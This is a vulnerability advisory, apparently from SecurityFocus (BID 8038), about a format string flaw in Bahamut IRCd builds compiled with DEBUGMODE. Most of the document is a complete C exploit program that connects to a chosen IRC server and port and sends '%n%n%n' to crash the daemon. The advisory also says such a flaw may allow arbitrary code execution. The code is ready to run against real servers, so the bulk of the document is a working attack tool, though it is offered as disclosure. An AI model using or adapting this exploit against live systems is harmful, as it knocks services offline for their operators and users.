source: http://www.securityfocus.com/bid/8038/info

Behamut IRCd has been reported prone to remotely exploitable format string vulnerability.

The issue presents itself when Behamut is compiled with DEBUGMODE defined. Reportedly a remote attacker may send malicious format specifiers to trigger an error. By passing specially crafted format specifiers through the IRC session, a remote attacker could potentially corrupt process memory and may have the ability to execute arbitrary code with the privileges of the affected daemon.

It should be noted that IRC daemons that are derived from the Behamut source have also been reported vulnerable.

/*
 * Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
 * Bahamut IRCd <= 1.4.35
 * - Dinos nagash@compulink.gr 27/06/03
 */

#include <stdio.h>              /* for printf() */
#include <sys/socket.h>         /* for socket(), connect(), send() and recv() */
#include <arpa/inet.h>          /* for sockaddr_in inet_addr() */
#include <stdlib.h>             /* for atoi() */
#include <unistd.h>             /* for close() */
#include <fcntl.h>              /* for fcntl() */
#include <sys/file.h>           /* for O_NONBLOCK and FASYNC */
#include <sys/time.h>           /* for timeval */
#include <errno.h>              /* for errno and EINPROGRESS */
#include <netdb.h>              /* for gethostbyname */

unsigned long resolv_name(char name[])
{
   struct hostent   *host;              /* structure containing host information */

   if ( (host = gethostbyname(name)) == NULL )
   {
        printf("gethostbyname() failed\n");
        exit(1);
   }
   /* returing the binary, network-byte-ordered address */
   return *( (unsigned long *) host->h_addr_list[0] );
}


int main (int argc, char *argv[])
{
   int sock;                    /* socket descriptor */
   int retval;                  /* return value from connect() */
   struct sockaddr_in ServAddr; /* socks's server address */
   char *servIP;                /* server IP address */
   char *socksbuf;              /* send buffer */
   unsigned short ServPort;     /* socks server port */
   struct timeval tv;           /* timeout values */
   unsigned int len;            /* message length */
   fd_set sockSet;              /* set of socket description */
   unsigned long theip;         /* the ip */
   fd_set setit;                /* fd settings for select() */
   int i;

   if ( argc < 2 )
   {
        printf("Irc Crash \n");
        printf("Usage:");
        printf("./ircc <irc-server> <port>\n");
        exit(1);
   }

   servIP = argv[1];
   ServPort = atoi(argv[2]);

   if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
        return -1;      /* There is no socket for us :( */

   memset(&ServAddr, 0, sizeof(ServAddr));
   ServAddr.sin_family          = AF_INET;
   ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
   ServAddr.sin_port            = htons(ServPort);      /* port */


   if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
        printf("Connected...\n");
   }
   else {
        printf("Error connecting to the ircserver\n");
        close(sock);
        exit(1);
   }
   sleep(1); /* just sleep */
   memset(&socksbuf, 0, sizeof(socksbuf));
   socksbuf = "%n%n%n";
   printf("Sending buffer %s\n",socksbuf);
   i = send(sock, socksbuf, 7, 0);
   if (i <0) {
        printf ("Error sending buffer\n");
        close(sock);
        return -1;
   }

   printf("Buffer send\n");

   close(sock);
   return 0;
}
